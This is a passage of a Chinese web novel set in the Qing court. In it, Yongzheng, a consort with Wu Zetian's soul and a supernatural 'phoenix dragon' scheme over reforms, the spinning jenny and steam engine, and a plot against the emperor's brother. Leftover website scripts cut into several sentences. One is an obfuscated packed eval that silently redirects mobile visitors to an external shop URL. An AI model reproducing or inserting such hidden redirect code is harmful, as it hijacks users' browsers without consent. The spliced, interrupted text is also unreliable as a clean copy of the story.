雍正也知道大臣们并不完全认同自己用说书、唱曲向百姓宣传摊丁入亩的想法,但他眼下也找不到更好的减轻百姓对摊丁入亩政策的抵触情绪的办法,一番议政完毕来到御花园,看着拘束的风景,不禁想起京郊的畅春园。 “等到国库亏空有所缓解,朕要扩建畅春园,将它和周围几个园子连成一片,取名……圆明园!” …… …… 后宫不得干政的规训加上雍正身边围着不少能干的文臣武将以及军机处的设立,让武曌虽有心插手国事始终难觅机会,得知雍正厌倦紫禁城的狭窄闭塞,想将畅春园扩建为圆明园,果断将已经在内务府造办处做出不俗功绩的兄长年希尧推荐给雍正。 “大哥不及二哥文武双全,却精通杂学,尤其擅长美术绘画之类,若是由他把关圆明园的修建,必定能够造出皇上心中所想。” “你说得很有道理。” 雍正深以为然,数日后便正式任命年希尧主管畅春园扩建工作。 “谢皇上恩典!” “你有这份本事,就该做这份工作,何况你妹妹异常看好你的才学。” 年羹尧的战功和年世华的贴心让雍正待年希尧的态度格外温柔。 “那也是皇上赏识奴才,奴才才有这场机会!皇上是奴才的再世恩人!” 年希尧没有年羹尧的傲慢脾气,赶紧马屁奉承雍正。 雍正听着年希尧的讨好话,心情越发明朗畅快,一番赏赐后让年希尧去后宫见贵妃。 “谢皇上天恩。” …… “妹妹,哥哥这次是沾了妹妹的光才有幸成为畅春园扩建工作的主管官员,我一定竭尽全力修建畅春园,让扩建后的畅春园如皇上所想那般美丽如明珠。” “只是如此?” 武曌眯眼,看着年希尧:“你知道我为什么推荐你主持畅春园的扩建工作?” “因为我有这份才学?” “因为年家要在朝中有更多的分量。” 武曌直言不讳:“二哥这几年不断上折子给皇上举荐人才,引来不少非议,有人甚至说朝廷选拔人才是‘年选’。以皇上的性情,接下来多半会对二哥有所打压,所以我让你主持修建畅春园,看似主动退步,让皇上觉得年家人是妥帖谨慎的性格,其实修建皇家园林期间涉及物资、人员调配数以千万计,经营得当的话,年家能从中获得巨大的好处。我说这些并不是让大哥你刻意做假公济私的事,只是让你做事的时候稍作留意,记下扩建畅春园期间遇见的每个有用之人的姓名。” “——妹妹高瞻远瞩,哥哥胜读十年书。” 年希尧羞愧低下头。 武曌又道:“二哥那边,大哥也要叮嘱一番,让他做事低调,不要触皇上逆鳞。若是因为‘年选’的事情被皇上打压,也务必戒骄戒躁,隐忍为上。” “妹妹的话很有道理,但是老二的性格……他未必愿意听我的劝!” 年希尧神色忧伤。 他虽是年羹尧的兄长,却不敢在年羹尧面前高声语。 “无妨,你就对他说一切都是我的意思,若他心有疑惑,可以入宫见我。” “明白了……” 年希尧行礼退下。 …… 晚上,雍正来贵妃处,说笑间提及年羹尧的事情:“亮工近来有些张扬过分啊~” “皇上若是觉得二哥行为过分,只管打压教训便是,做奴才的要有身为奴才的本分,不可随意僭越。” 武曌顺着雍正的意思说话。 雍正诧异,看年世华的眼神多了几分别样的性质。 [年氏果然与旁人不同,明知年羹尧是年家最大的依靠,竟然可以脱口而出地建议朕打压教训年羹尧?难道说她已经知道她的弘宜将是未来的大清皇帝,她的心彻底向着朕和弘宜?] 想到年氏一心为自己和儿子着想,雍正不免又生出伤感。 “慈宁宫那边,近来可有风波?” “皇太后如今每日虔心礼佛,与外界几乎没有接触。” “是吗?” 雍正冷笑:“她如此虔心礼佛还不是为了保佑她的允禵!她心中但凡对朕有一点关爱,母子间又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 何至于闹到今天这般田地?” “皇上,太后她老人家——” “别说了,朕不想听!” 雍正打断年世华,让嬷嬷将弘昼与弘宜叫过来,他要亲自考察他们的功课学问。 “皇上,夜色已深——” “你想说他们这么早就已经睡下?” 雍正神色冷冽。 武曌低头,命嬷嬷将两位阿哥叫过来。 …… “儿子给皇阿玛请安,给贵妃额涅请安。” 弘昼与弘宜来到,齐刷刷请安行礼。 雍正让两个孩子起身,审视的目光严苛地看着两人:“你们可知道朕叫你们过来所为何事?” “皇阿玛要考察儿子们的功课。” “不错。” 雍正眯眼:“我大清得江山不易,子孙后代必须勤奋学习以守住祖宗基业。所以先帝在世时对朕和朕的兄弟们严格要求,务必锻炼成才。朕对你们也是如此,朕不会强求你们个个文武双全,但希望你们都能尽可能地德才兼备,对得起爱新觉罗的身份。” “儿子不才,愿竭尽所能达成皇阿玛对儿子的期待。” 弘昼率先表态。 雍正目光落在弘宜身上:“你呢?” “儿子唯皇阿玛马首是瞻。” “好听的谁都会说,要做到却没那么容易。” 雍正似笑非笑地看着两个孩子,冷不防提问功课内容。 弘昼猝不及防,面色红窘。 弘宜则是微微一愣,随即镇定自若地回答,优越的表现让雍正连连点头,连带对弘昼的态度也多了几分和蔼。 “第一次接受查问难免慌张,以后改进。” “儿子谨遵皇阿玛教诲。” 弘昼灰头土脸地回答。 弘宜跟着低头:“皇阿玛,四哥今日是太过紧张才表现不佳,平日我们几个跟随师傅读书时,四哥的表现是最机灵聪慧的。” “小小年纪已经懂得兄友弟恭,果然前途不凡。” 夸奖完弘宜,雍正又看了眼弘昼:“能读书会背书是好事,但如果没有能力正确使用书上的知识,就尽信书不如无书。” “儿子明白。” 弘昼苦闷点头,拉着弘宜走出寝殿。 雍正看着两个孩子离开,对身旁女子道:“小四不如老四啊。” “皇上天纵之才,又岂是寻常人能够触及?” “可惜朕也有朕的不如意啊。” 随后,雍正将推行摊丁入亩遇上的种种阻挠与烦恼说给年氏——他不指望年氏给自己提供有价值的政治建议,他只是太累了,需要要一个耐心温柔又体贴的倾述对象。 “……朕做的这些事明明对天下人有好处,为什么天下人不原接受朕的好意?反而诽谤朕、攻击朕、污蔑朕?” “因为天下人中只有少数人能够见到皇上,而这能见到皇上的少数人也未必每个都能懂得皇上的心意,完全遵照皇上的意思办事。但是那些因为皇上的措施受损的人却可以聚集同样不满皇上的人肆意编造谎言,所以三人成虎,积毁销骨……” 85.珍妮纺织机 摊丁入亩政策在争议和阻挠中推行的同时,被派去广州十三行和西洋人做买卖补贴朝廷军费的允禟带回一个消息。 “皇上,西洋人近年来对我们的茶叶、布匹的兴趣减淡了许多,尤其是茶叶,西洋人的购买量几乎逐年递降。” “为什么会发生这种事情?” 雍正诧异。 他接手的大清国库亏空严重,上上下下几乎所有官员都欠钱不还,重点推行火耗归公和摊丁入亩政策如果能如预期全国推行确实可以缓解大清财政压力,可问题在于—— 推行政策也需要钱,大量的钱! 通过广州十三行流入大清的西洋银钱虽然不是大清的财政收入大头,却也是国库不可或缺的收入部分。 “据说是西洋人如今在其他地方大量种植茶叶,虽然种出的茶叶质量远不如大清,可胜在价格便宜,布匹也是同理。他们那边新出了一种叫珍妮纺织机的东西,织布又快又多,西洋人因此对大清布匹的需求量大大降低,只有昂贵的上等丝绸还需从大清购买……” “……珍妮纺织机……这是什么东西?” 雍正皱眉。 直觉告诉他,珍妮纺织机这种新出现的织造工具远比西洋人在其他地方种植茶叶减少从大清购买茶叶这件事更具威胁性。 “奴才不知,不过奴才打算重金请西洋船长从西洋捎弄一台珍妮纺织机回来……” 已经付了纺织机定金的允禟担心被雍正斥责自作主张,故意说买纺织机的事情还在计划中。 “纺织机一事关系重大,必须立刻弄到手!” 雍正厉声道:“纺织机到手后,送来京城交造办处研究处理。” “嗻。” “还有——下次不要再自称‘奴才’,你终究是朕同父异母的兄弟,如此自贬,岂不是连朕都骂进去了?” “皇上英明。” 允禟擦汗,退出大殿。 允禟离开后,雍正派人把正在京郊主持畅春园扩建成圆明园工作的年希尧叫回来,将西洋如今流行用珍妮机织布的事情告诉他:“你擅长捣鼓西洋玩意,等老九的珍妮机从西洋运到京城,交你全权处理!” “谢皇上恩典!” 被皇帝重视的事实让年希尧无比激动,并迅速意识到珍妮机与蒸汽机有关系! …… 【珍妮机?终于出现珍妮机了。】 风龙兴致盎然地读取雍正等人的思维,并将允禟重金从西洋购买珍妮机的事情告诉武曌。 [珍妮机……] 武曌早已通过历史直播系统得知珍妮机的存在以及此物对科技生产的巨大推动,得知允禟从西洋购买珍妮机且雍正对此非常重视后,欣然微笑。 [很显然,蒸汽机和珍妮机都能在大清得到一定规模的推广。] 【但是要想全面推广蒸汽机和珍妮机,却也不是那么简单的一件事。】 凤龙笑嘻嘻地看着武曌。 【好在如今是专制集权时代,涉及细枝末节且可能损害既得利益者的改革政令或许无法迅速落实到位,强迫百姓使用蒸汽机和珍妮机却很容易,毕竟,相较于传统的牛耕田、手织布,蒸汽机和珍妮机确实更加先进。】 [你要我……] 【人类是趋利的动物。】 [确实如此……一旦确定蒸汽机和珍妮机的好处,颇有家资的大户就会主动接受……至于那些大字不识的底层贫民……他们或许会抗拒,但他们太愚昧又无知,容易被掌握话语权的地主乡绅们影响,几乎没有可能构成阻力……反倒是我这边可以通过推广蒸汽机和珍妮机获得实际的好处……如果有足够多的人脱离土地还能生存……那土地岂不就……] 想到此处,武曌眼中流出兴奋的光。 毕竟,迄今为止她所做的一切都是为了更好更快地得到权力。 【……你的想法让我越来越期待接下来的发展了。】 凤龙兴致勃勃地笑着,手指轻抚嘴角。 【要不,我今天晚上再给雍正烧一把火?催促他大力引进、改进、推广蒸汽机和珍妮机?】 [你在这件事情上的过度兴奋让我有种不妙的预感。] 【我只是个历史的旁观者、游戏者,我从不指望能从你们这边得到什么。】 凤龙勾唇微笑,笑容妩媚得体中带着冰冷与蔑视。 武曌看着凤龙的笑容,不由地陷入沉思。 凤龙对这个世界究竟意味着什么? 【意味着变化和不确定~】 凤龙主动插入武曌的思维。 【对人类而言,历史被改变意味着可怕的未知,但对于同时存在于过去和未来的我而言,一成不变的按部就班的历史是如死水般的枯燥和枯燥。】 [所以你——] 【我想知道历史究竟有多少可能性,构成历史的个体存在多强大的主观能动性。】 凤龙直言不讳,隐隐透出金色的黑眼睛闪烁着媲美宇宙初生的深邃奥妙。 【让我看到历史的不可测以及无限可能吧!】 [可是如果……] 【你们的历史按原本的顺序走下去,将走向最可怕最黑暗的一页,虽然黑暗的尽头有光明……而现在……如果历史是一条河,光明的未来就是这条蜿蜒曲折的河流必然会流入的大海,所谓殊途同归,便是如此。】 [所以……] 【所以不要害怕~当然,对你而言,那些都是还未发生的事情,本也没必要担心。】 凤龙笑得很开心,但是祂的笑容却很微妙,既天真得像个孩童,又残忍得仿佛最黑暗的灵魂,同时还掺杂着饱经风霜的慈爱。 武曌再度皱眉。 凤龙让她感到迷惑。 …… …… 晚上,凤龙如约出现在雍正面前。 【看你的样子,似乎又连续几天没有好好休息了。】 [朕倒是想好好休息,但是朕……] 雍正自嘲地弹了下堆积如山的奏章折子。 [国事牵一发而动全身,家大难当啊。] 【你想做配得上盛世的皇帝,必然要承担万钧重担。】 凤龙轻飘飘坐在御案上,双手抱着膝盖,一副悠闲自然的姿态。 【对你而言,成为好皇帝是你存在这个世界的最好证 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明,对我而言,不论是你还是你最在意的大清帝国或是整个爱新觉罗家族,都是漫漫时间长河中稍纵即逝的尘埃。】 [你什么意思?] 【你这个皇帝做得好或者不好,对我而言并无太大的影响。】 凤龙低头,逗弄地看着雍正。 【珍妮机和蒸汽机确实是好东西,当然,这些东西进入大清后会结出什么样的果实,全看掌权者怎么推广怎么引导,或许是明朗的发展,或许是更坏的未来~】 [我不明白你究竟在说什么——] 雍正感到莫名的慌乱。 凤龙垂眸。 【我在说未来,也在说过去~对了,你女儿妞妞很有些特别,可惜是个女孩~】 [朕也觉得妞妞很可惜,以她的聪明才智如果生做男孩,恐怕——] 虽然弘宜是个优秀的阿哥,但皇帝总希望膝下能有多个优秀的继承人供自己挑选,而不是一枝独秀无法选择。 【天命如此,你就别挑三拣四了。】 凤龙不耐烦地吐槽一句,跳下桌案。 【多关注一下妞妞吧,她是个厉害角色~】 [朕记住了。] …… 重金购得的珍妮机很快送到京城。 看着形态陌生的织布机器,听着传教士绘声绘色的讲演,年希尧露出若有所思的神情。 随后,他命人将珍妮机运送到工坊,和被自己改良过的蒸汽机放在一起,再把内务府负责制造精密物件的工匠全部召集,让他们畅所欲言,集思广益。 三日后—— 形容枯槁然胡子邋遢唯独眼睛雪亮发光的年希尧进宫:“妹妹!妹妹!我想到一个极好的主意!我要把蒸汽机和珍妮机组合起来做成一个前所未有的大东西!” “哦?” 武曌抬头,一旁的尹无归也露出玩味的神情。 [不愧是年希尧,竟能突破时代的限制!天才果然不管什么时候都是天才!] “但是我想做的这个东西做成以后很可能引来皇上的不满,届时还请妹妹务必在皇上面前为我美言一二。” “一家人何必说这些客套话,哥哥的事情就是我的事情,何况——” 武曌顿了一下:“我也想知道哥哥究竟有什么样的奇思妙想。” “只是单纯觉得蒸汽机和珍妮机的结合能够事半功倍,此外,珍妮机的构造让我生出一些大胆的想法,或许可以在此基础上做出全新的东西。” 年希尧眼中燃烧着名为科研的火焰:“工匠们这几日也都激情澎湃,想要卷起袖子大干一场。” “你们有想法自然是最好的。” 武曌想知道工匠们如果完全不被限制能做出什么样匪夷所思的东西:“能力范畴内的要求,全数满足,皇上那边有任何不满,我为你们辩解。” “妹妹!你……你真是太好了!” 年希尧激动万分。 尹无归内心深处更涌起难言的激情。 她的选择没有错。 年姐姐值得她为此放弃四十五世纪的美好前途! 至少,此时此刻。 值得! 86.更远大的未来 年希尧带领造办处能工巧匠研究并仿制西洋人的珍妮机和蒸汽机的事情很快传到妞妞耳中。 前世是乾隆大帝的她露出玩味的神情。 [如果朕还是前世的朕,是阿哥而非格格,年希尧此刻的行为简直大逆不道,罪当诛九族,但是现在的朕……] 妞妞伸出双手,看着如松鼠般肥肥胖胖的小爪子和表面装饰着多层刺绣滚边的旗装,内心的愤恨、委屈、抱怨如潮涌喷出。 [女人永远不可能得到男人发自内心的支持和拥护,所以女人要得到权力,除了男人的支持,更需要女人们的拥护……珍妮纺织机和蒸汽机在前世的朕眼中固然是大逆不道,可如今朕变成了女儿身,推广它们就只会给朕带来好处没有坏处……必须让社会发生巨大的变革,不幸重生为格格的朕才有机会打破固有的男尊女卑……] 想到此处,妞妞转头,冲站在身后不远处的凤龙狡黠一笑。 [你说得没错,朕现在首先要做的事情是和贵妃额涅联手,促进珍妮机和蒸汽机的研究仿制工作,并且推广它们~] 【然后呢?】 [然后自然是恩威并施改变国家的结构,还有推广火木仓……朕记得朕前世的宿敌叶卡捷琳娜二世是依靠皇家禁卫队的支持才政变成功坐上女沙皇的位置的……贵妃额涅有儿子在手,可以复刻这条道路,而朕要做的是在她复刻叶卡捷琳娜二世的手段成为女皇后进一步推行改革,让大清也和罗斯国以及西洋各国一样承认公主的继承人资格,如此朕便可以公主身份君临天下……] 即便这一世不幸重生为格格,爱新觉罗·妞妞·弘历的内在本质依然是封建集权皇帝,此刻思考的所有内容、试图推行的变革,核心目的都是让自己有机会登上皇位。 凤龙也知道妞妞本性自私自利,见她已经开始制定取得皇位的全盘计划,不禁露出美丽中透着不可名状的笑容。 【我等着你带给我惊喜~】 [惊喜?朕将要带给你的可不只是惊喜,是宏大美好的大清盛世~] 妞妞骄傲地扬起脑袋。 她坚信前世是十全老人的自己,这一世也能穿越逆境攀到权力的巅峰。 [将来的事情与朕无关,朕只想尽快成为皇帝!] 【如你所愿,女皇很快就会诞生~】 …… …… 创造力一旦不被囚禁,迸发的能量必然无限。 得到贵妃承诺背书的大清工匠们在年希尧的带领下以超越一切的激情夜以继日地忙碌工作,仅仅半年时间就摸透珍妮纺织机的所有部件功能并做出多款改良版,蒸汽机更是在工匠们接近异想天开的思考下变化多样——虽然他们的大部分想法都因为太荒唐而无法实现,但少数的可以实现的想法却无一例外不让人眼前一亮。 身为总负责人的年希尧严格把关,精选其中可行性最强的想法造出成品,送到怡亲王允祥和廉亲王允禩面前。 “这些东西——” “这些都是奴才手下的工匠们研究了西洋人的蒸汽机、珍妮纺织机后做出来的改良版本。” 年希尧热情洋溢地向宗室贵胄们介绍西洋机器的种种好处和妙用。 本身也和西洋传教士往来密切的允祥、允禩听完年希尧的介绍、看完机器的使用展示,纷纷表露出强烈浓郁的兴趣。 “西洋人的东西也并非一无是处,至少这几个铁疙瘩看着就不错。” “皇上和贵妃也是如此认为,所以才会任命奴才带领工匠研究西洋人的东西,做出改良版本。” 说到此处,年希尧压低声音:“奴才有一件事想请两位王爷帮忙。” “什么事?” “奴才认为,这些东西如果只是留在皇家园林作为宫廷日常赏玩之用,未免太过浪费也太过……奴才希望……” “你想把这些东西推广到民间、给天下百姓?” “正是。” 年希尧抬头,殷切地看着怡亲王允祥:“十三爷素来赏识奴才,还请继续成全奴才!” “如果这些东西……” 允祥皱眉,反复仔细地打量着年希尧带来的机械:“这些东西推广到民间,前期需要大量银钱,对户部和吏部都是不小的负担……但如果推广得力,百姓安居乐业,再加上皇上的摊丁入亩等政策,百姓必然受益无穷,届时大清江山也可更加稳固……” “十三爷,您的意思是——” “我将尽力而为。” 允祥不敢给出太明确的承诺,毕竟涉及太多太广。 年希尧又看向廉亲王允禩:“八爷的意思……” “我如今身份颇为尴尬,虽和皇上尽释前嫌,但终究……老九又……当然,就我看来,这些东西颇有可取之处……总之,到时随机应变吧……” “谢八爷成全!” 回想当年受困于“八爷党”的虚名整日大把银子撒出去维持体面的岁月,允禩长叹一口气。 “说句会被人嘲笑不知天高地厚的话,我或许是最理解皇上当下困扰的人……正所谓不当家不知柴米贵,钱这东西不论何时都是命根子,百姓的小家要钱,皇帝的大家也要钱……没有钱,必然一切分崩离析,什么都不剩下……” …… 有允祥亲自背书,加上造办处改良后的珍妮机和蒸汽机确实效用不错,最近大半年都饱受改革阻力困扰的雍正决定批准年希尧的折子。 “户部现在没钱,没法拨银子推广此类物品,但也不会阻挠珍妮纺织机和蒸汽机在民间的推行使用。具体怎么做,你自己想办法,只要是不违反大清律例的手段,都可以试一试。” “谢皇上恩典。” 年希尧大喜过望。 熟读史书典籍的他坚信富户们只要意识到珍妮纺织机和蒸汽机的好处就会主动出钱订购,获取利益。 至于最底层的贫民—— 珍妮纺织机和蒸汽机的出现并不会让他们已经穷困到极致得生活再雪上加霜,反倒是富户们出于雇佣工人操作机器的需要,会考虑给做事的工人做必要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的学习培训。 总之,珍妮纺织机和蒸汽机将给这片国家带来的是好处还是坏处,目前是个未知数,但年希尧相信,不论中途出现多少坎坷波折,最终都会迎来光明美好的未来。 …… …… [道路上曲折的,前途是光明的?] 站在一旁听完年希尧对年贵妃的禀告,尹无归心中忍不住划过一句话,随即用充满期待和梦想的目光看着年贵妃。 [我已经身处和四十五世纪的历史课本教授的历史完全不一样的平行世界,注定无法回到属于我的四十五世纪,既然如此,为什么还要遵守什么时空管理规定?反正已经回不去!反正我留在四十五世纪的身体已经因为我的行为被销毁,我……干脆把我知道的一切都拿出来,帮助姐姐将这个世界搅得天翻地覆!] 想到这里,尹无归低头,对年世华道:“姐姐,妹妹有些话不知道当讲不当讲。” “你想说什么?” 尹无归抬头,看了眼站在年世华面前的年希尧。 武曌会意:“哥哥还有事情吗?” “没事……没事……我先回去复命……” 年希尧行礼退下。 等年希尧离开、宫女太监们全数退下,尹无归亲昵地握住年世华的手,低声道:“姐姐,你有没有想过更远大的未来?” “更远大的未来?” 武曌明知故问。 [反正已经回不去,干脆手搓导弹轰破这个封建保守的旧时代!当然,在此之前,我得先这个世界的钢铁冶炼技术提上去,还要把军工体系建起来!虽然以当前世界的科技平均值,只要搞出猫式坦克就能平推亚欧大陆~] 尹无归一边想一边说:“不论是十步以内还是百步以内,都是刀快枪更快,如果我们能有更好更多的枪,组建出用枪作为主要武器的更强大的军队……甚至拥有比枪更强大的武器……” 武曌也一边听她讲一遍读取她的心绪。 [果然是来自四十五世纪的人,思想和知识包括科技能力都远超我们这个时代,尤为难得的是,经过这段时间的磨砺,她已彻底放弃原本的坚持,准备全力助我。] “如果可以的话,自然是最好不过,但是这些东西……” 武曌温情脉脉地看着尹无归:“这些东西真的能做到吗?” “我相信会做到。” 尹无归斩钉截铁地承诺。 [时空管理规定都给我见鬼去吧!反正是平行世界,艹破艹烂又怎么样!有本事跨时空抓我啊!] 尹无归破罐子破摔地想着。 武曌感受到她的决心,笑容越加明媚可亲。 凤龙更是笑得微妙无比。 【真是出乎预料的美好发展~就不知尹无归最后知道真相时会露出什么表情~比如你的灵魂来自一千多年前,又比如你的所有行为目的都是攫取并巩固权力,而非创造她所期盼的男女平等的世界~】 [然而她不会知道真相,永远……不会……] 87.太后病重 天气逐渐转凉,雍正登基后提出的多项改革措施经过三年的艰难推行终于有了初步成果,宗亲大臣们拖欠国库的银钱也因为怡亲王允祥锲而不舍的追缴得以讨要回大半,坐镇西北的年羹尧更是几次打退蒙古准噶尔部的狼子野心,守住大清江山。 捷报传来,雍正倍感欣慰,叹道:“朕能有如此成绩,全亏了十三弟和亮工啊!” “皇上谬赞,常言道,世有伯乐而后有千里马,若非皇上知人善用、用人不疑,我等即便有经天纬地之才也不可能有今日成就,皇上才是我等的大恩人!再生父母!” 年羹尧经过年贵妃的精心指点,深知在雍正面前必须尽可能收敛锋芒,让雍正相信自己的忠诚,如此才能夺得雍正信赖,将来新君登基,行尹霍之事。 “亮工竟也能说出此等谦逊话语,倒是让朕刮目相看。” 雍正阴嗖嗖笑了笑,冷不防道:“贵妃自康熙五十年由先帝钦点入潜邸为侧福晋,至今已有十年。这十年来她始终温顺谦逊恭敬有礼,协助皇后处理大小事务多年,后宫人人称道,可谓妇德典范。朕决定效仿前朝旧例,加封她为皇贵妃。” “谢皇上恩典!” 年羹尧大喜。 加封为皇贵妃意味着妹妹离皇后又近了一步。 反正皇后无所出,且皇后的家族在朝中并无重臣大员,即便将来两宫太后并立,妹妹也可以新君生母以及大将军胞妹的身份稳稳压母后皇太后一筹! 想到此处,年羹尧对未来更加充满期待了。 雍正看到年羹尧因为妹妹加封皇贵妃而露出满足神情,心里也泛出得意。 …… …… “启禀皇后主子,慈宁宫那边……” “慈宁宫那边怎么啦?” 半个时辰前已经通过历史直播系统得知当朝皇太后乌雅氏大限将至的皇后乌拉那拉氏抬头,故作茫然神色:“太后身体不适?” “是。” 嬷嬷低头,哽咽着禀告道:“太后娘娘早晨起身的时候还是好好的,晌午小睡片刻便……” “便如何?” “昏睡不醒,身体也……” “太医呢?太医们怎么说?” “太医们现在聚集在慈宁宫都是束手无策,在太医院供职的西洋传教士们也被唤了过去,同样不知此事该如何是好。” 说着说着,嬷嬷流下眼泪:“皇后主子,咱们要不要——” “这么大的事情,本宫怎么可能不亲自前往!” 乌拉那拉氏放下抄经的小楷毛笔,叹息道:“皇贵妃那边通知了吗?” “回皇后主子的话,奴才已经派小卓子过去翊坤宫了。” “嗯。” 乌拉那拉氏点点头,叮嘱道:“还有皇上那边——” “主子放心,慈宁宫的人早就去养心殿通知皇上了。” “如此便是最好。” …… “皇后驾到!” 皇后的辇车刚抵达慈宁宫,以皇贵妃为首的一众嫔妃便上前行礼问安,一行人忧心忡忡地走进气氛异常肃穆压抑的慈宁宫。 “太后——” 最早抵达慈宁宫的雍正抬头,止住后妃们的行礼,柔声细气地对至今昏迷不醒的太后乌雅氏道:“皇额涅,你不要吓儿子,儿子不能失去皇额涅……” “皇上,太后此番病情颇为蹊跷,要不要请萨满巫师进宫来做法?” 一旁的苏培盛小声建议。 雍正想了一下,道:“不仅要请萨满巫师进宫做法,佛家的大能、道家的仙长……凡是有能耐的人都要请过来给皇额涅祈福!朕已经失去了皇阿玛,不能再失去皇额涅。” [即使你一而再再而三的偏心、为了十四弟反复当众给朕难堪,你都是朕的皇额涅,朕不能失了孝道礼数!朕必须把场面上该做的都做到!] 雍正烦躁地想着,接过冒着热气的参汤,一口口喂给昏迷的太后乌雅氏,参汤顺着乌雅氏的嘴唇缝隙流下,弄脏了床褥。 “皇额涅,你这又是……朕知道你想十四弟,希望十四弟快些回京城,可是朕……罢了罢了……若是皇额涅能够醒来,朕立刻下旨让十四弟回京,贴身侍奉皇额涅!” 话音落,乌雅氏嘴唇微动,声音气若游丝:“……皇……皇帝……” [可恶!] 雍正心头燃起怒涛,脸上还要装作欣喜若狂的姿态:“皇额涅!皇额涅听见了儿子的话!皇额涅要醒过来了!” “皇帝……我……我……允禵……” 乌雅氏缓缓睁开眼睛,泪眼婆娑地看着雍正:“君无戏言……” “是啊,君无戏言。” 雍正自嘲一笑,对苏培盛道:“方才的事情,你可都记住了?” “奴才字字句句都记着呢。” 苏培盛努力挤出笑容。 他陪在雍正身边数十年,对自家主子的心思不敢说是了如指掌但也是远胜常人的了解,皇太后此番行为可谓触逆鳞而不知,当然——以太后的尊贵,即便触皇帝逆鳞也不必担心付出惨痛代价……吗? 苏培盛唇角勾出一个似笑非笑的弧度,领受雍正命令下一路碎步退出寝殿。 他的种种细微表情全落在武曌眼中,让后者心领神会。 [太后乌雅氏怕不是大限将至~] 【不只是她大限将至,允禵也会因为她的自以为是遭遇灭顶之灾。】 凤龙一脸坏笑,仗着此处只有雍正和武曌能看到自己,大摇大摆走到雍正身旁,翘起二郎腿。 【被这样玩弄也能忍?】 [什么意思?] 【我不是人类都能看出你的这位好母亲的心里只有她的皇帝亡夫和小儿子没有你……若是有嫪毐这样的得力帮手,她甚至可能效仿赵姬把大儿子赶下皇位,让小儿子成为皇帝……】 [不可能!皇额涅不会这样对我!] 雍正果断否决,内心深处却燃起怀疑的火焰。 [皇额涅若是有嫪毐这样忠诚又手握重兵的下属,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946776|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有足够的魄力和胆量,真的不会效仿赵姬……为了她心爱的小儿子,发动政变把朕这个素来不得她喜欢的大儿子赶下皇位?即便是如今,她也时不时为了她最爱的小儿子对朕百般敷衍、戏弄,所做的一切都是为了允禵而非朕……堂堂的一国之君、大清天子就这么……这么……] 【你此刻心中又痛又恨又嫉妒,对不对?】 凤龙伸手,温柔抚摸雍正那逐渐生出皱纹的脸庞。 【你已经老了,小你十岁的允禵却正当壮年,倘若你有所不测,允禵很可能在太后的支持下成为第二个多尔衮!别忘了,你膝下虽然有三个儿子,但其中唯一有可能继承大统的弘宜才满十岁,他的舅舅年羹尧虽然功勋显著,终究是汉军旗出身,比不得允禵这种皇亲国戚又有太后的支持……】 蛊惑如裹着蜜糖的剧毒般诱人,何况雍正心中早有类似的担心与怀疑。 [大清有后宫不得干政的规矩,皇额涅作为后宫表率,不会——] 【不会吗?真的不是吗?】 凤龙加重蛊惑的力度。 【多尔衮当年只差一步就能登基,因为孝庄太后联合八旗宗亲反对周旋才不得已放下唾手可及的皇位……死后被顺治清算……这些过往,允禵都是看在眼里的。所以,一旦他成为第二个多尔衮,必然垂涎最高皇位,届时即便太后有通天彻地的本事,也拦不住得到太皇太后全力支持的允禵!宗亲们也会因为各自的原因作壁上观甚至主动推允禵上位,毕竟,允禵曾经和允禩、允禟关系亲密……】 [……允禩、允禟他们如今虽对朕全然臣服,可倘若朕遭遇不测,他们确实很有可能在太后的牵线搭桥下和允禵联盟,架空朕的继承人的权力……年羹尧倒是可能因为最终继承皇位的是弘宜这点继续忠于大清正统,但是……但是……] 【但是什么?你其实认同我的分析,对不对?】 [……你……你……朕的儿子如果没有能力克服这些困局,他就不配做朕的继承人!] 雍正挣扎着试图拒绝凤龙的话语。 因为他听出了凤龙的弦外之音,他不想—— 【强大的君主有能力解决任何困局,例如北魏孝文帝……可是你们人类的寿命终究有限……明明此刻只需你下定决心就能神不知鬼不觉掐死在萌芽中的问题,为什么一定要故意把问题留给你儿子……导致简单的问题复杂化……让他将人生最宝贵的少年、青年时光……都拿去处理本不需要他处理的问题?】 [……朕不敢相信堂堂盛世祥瑞竟然会说出这种话!] 雍正垂死挣扎。 【哦?那你告诉我——你眼中的盛世祥瑞该是什么样?圣洁高贵慈悲温柔见不得一滴血?通往皇位的道路铺满白骨,繁华的盛世建立在尸横遍野的乱世之上。】 说完,凤龙飘然离去,让雍正自行决断。 祂知道雍正最终会全盘接受祂的建议,不仅仅因为这次的事情让雍正对太后乌雅氏的忍耐到了极限! 更因为他心中早有类似的担忧! 88.皇帝的手段 一番安抚承诺完毕,雍正请皇太后安歇,走出内殿,阴郁的目光扫过以皇后为首垂手等候的众位后妃。 “皇后倒是孝顺,这么快就带着后宫所有人都过来了。” “回皇上,奴才只是依着规矩前来,不敢居功。” 皇后乌拉那拉氏低眉顺眼。 “方才的事情——” “皇上放心,后宫众人向来严守后宫不得干政的规矩。” “如此便是最好。” 雍正欣慰地点了点头,走到皇贵妃身边:“听说你大哥近来又弄出不少新奇玩意?” “回皇上,奴才的兄长恨不得肝脑涂地以报皇恩,唯有竭尽所能为皇上效力。” “那些东西——” “半数用在修园子上,其中少量经怡亲王允许会逐渐散送到民间。” “十三弟做事情,朕一向是放心的。” 雍正露出满足的笑容。 后宫确实不得干政,除非得到他的允许、事事向他提前请示。 想到此处,雍正故意问身旁:“弘宜近来如何?” “回皇上的话。上书房的师傅们都说五阿哥天资聪慧,才华不凡,将来必成大器。” 苏培盛晓得皇帝心思,当着众人的面笑嘻嘻夸赞五阿哥弘宜。 